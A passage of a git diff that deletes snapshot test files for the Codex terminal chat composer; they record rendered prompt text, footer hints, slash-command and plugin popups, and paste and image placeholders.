bg: Reset, underline: Reset, modifier: NONE, - x: 53, y: 7, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 54, y: 7, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 45, y: 8, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 46, y: 8, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 48, y: 9, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 51, y: 9, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 2, y: 11, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__backspace_after_pastes.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__backspace_after_pastes.snap deleted file mode 100644 index 981fa79ba..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__backspace_after_pastes.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› [Pasted Content 1002 chars][Pasted Content 1004 chars] " -" " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__empty.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__empty.snap deleted file mode 100644 index 9204fb6a3..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__empty.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" " -" ? for shortcuts 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap deleted file mode 100644 index 0da75da8e..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" ? for shortcuts 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap deleted file mode 100644 index f99623afb..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_with_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" ? for shortcuts 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap deleted file mode 100644 index 896876d67..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_cycle_without_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" ? for shortcuts 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap deleted file mode 100644 index 1088a2a17..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_empty_mode_only.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anythin " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap deleted file mode 100644 index 796ef63c5..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_full.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" ? for shortcuts · Plan mode (shift+tab to cycle) 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap deleted file mode 100644 index ec04f4782..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_with_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" Plan mode (shift+tab to cycle) 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap deleted file mode 100644 index 6d54c6f3e..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" Plan mode (shift+tab to cycle) " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap deleted file mode 100644 index 995323daf..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anythin " -" " -" " -" " -" " -" " -" " -" Plan mode " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap deleted file mode 100644 index b88fb8e82..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue message · Plan mode 98% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap deleted file mode 100644 index c8630ee26..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue message · Plan mode " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap deleted file mode 100644 index 6a36766c8..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" Plan mode " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap deleted file mode 100644 index db0f1e997..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue · Plan mode 98% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap deleted file mode 100644 index b88cbbabf..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue · Plan mode " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap deleted file mode 100644 index 6cf0ec3b1..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue message 98% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap deleted file mode 100644 index 19a7e6472..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue 98% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap deleted file mode 100644 index cafc69665..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap deleted file mode 100644 index 968faa40c..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue message 98% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap deleted file mode 100644 index 2b1ed462e..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Test " -" " -" " -" " -" " -" " -" " -" tab to queue message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap deleted file mode 100644 index 9d82e2258..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" ctrl + c again to quit " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap deleted file mode 100644 index 9d82e2258..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" ctrl + c again to quit " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap deleted file mode 100644 index 9630bdc99..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" esc esc to edit previous message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap deleted file mode 100644 index 26029fdbc..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" esc again to edit previous message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap deleted file mode 100644 index 9630bdc99..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" esc esc to edit previous message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap deleted file mode 100644 index b41b96e49..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› h " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap deleted file mode 100644 index 26029fdbc..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" esc again to edit previous message " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap deleted file mode 100644 index d176b58d9..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap +++ /dev/null @@ -1,18 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› Ask Codex to do anything " -" " -" " -" " -" " -" " -" " -" / for commands ! for shell commands " -" shift + enter for newline tab to queue message " -" @ for file paths ctrl + v to paste images " -" ctrl + g to edit in external editor esc again to edit previous message " -" ctrl + c to exit " -" ctrl + t to view transcript " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap deleted file mode 100644 index 26f2018e2..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› [Image #1][Image #2] " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_single.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_single.snap deleted file mode 100644 index 6ce249ad8..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_single.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› [Image #1] " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__large.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__large.snap deleted file mode 100644 index 1c5f0271c..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__large.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› [Pasted Content 1005 chars] " -" " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap deleted file mode 100644 index ac759c213..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› $goog " -" " -" " -" Google Calendar [Plugin] Connect Google Calendar for scheduling, ava…" -" Google Calendar [Skill] Find availability and plan event changes " -" Google Calendar [App] Look up events and availability " -" " -" Press enter to insert or esc to close " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__multiple_pastes.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__multiple_pastes.snap deleted file mode 100644 index b50c6f100..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__multiple_pastes.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› [Pasted Content 1003 chars][Pasted Content 1007 chars] another short paste " -" " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__plugin_mention_popup.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__plugin_mention_popup.snap deleted file mode 100644 index 6dad755c1..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__plugin_mention_popup.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› $sa " -" " -" " -" " -" " -" Sample Plugin [Plugin] Plugin that includes the Figma MCP server and Skills for common workflows " -" " -" Press enter to insert or esc to close " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows.snap deleted file mode 100644 index e4228866c..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -" [Image #1] " -" [Image #2] " -" " -"› describe these " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap deleted file mode 100644 index f8a3e2845..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -" [Image #1] " -" " -"› describe these " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap deleted file mode 100644 index e4228866c..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -" [Image #1] " -" [Image #2] " -" " -"› describe these " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_mo.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_mo.snap deleted file mode 100644 index 61f4c3b7e..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_mo.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› /mo " -" " -" " -" /model choose what model and reasoning effort to use " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_res.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_res.snap deleted file mode 100644 index 4fc9f5fd4..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_res.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› /res " -" " -" " -" " -" /resume resume a saved chat " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__small.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__small.snap deleted file mode 100644 index 834a35585..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__small.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/chat_composer.rs -expression: terminal.backend() ---- -" " -"› short " -" " -" " -" " -" " -" " -" " -" " -" 100% context left " diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap deleted file mode 100644 index 552051665..000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap 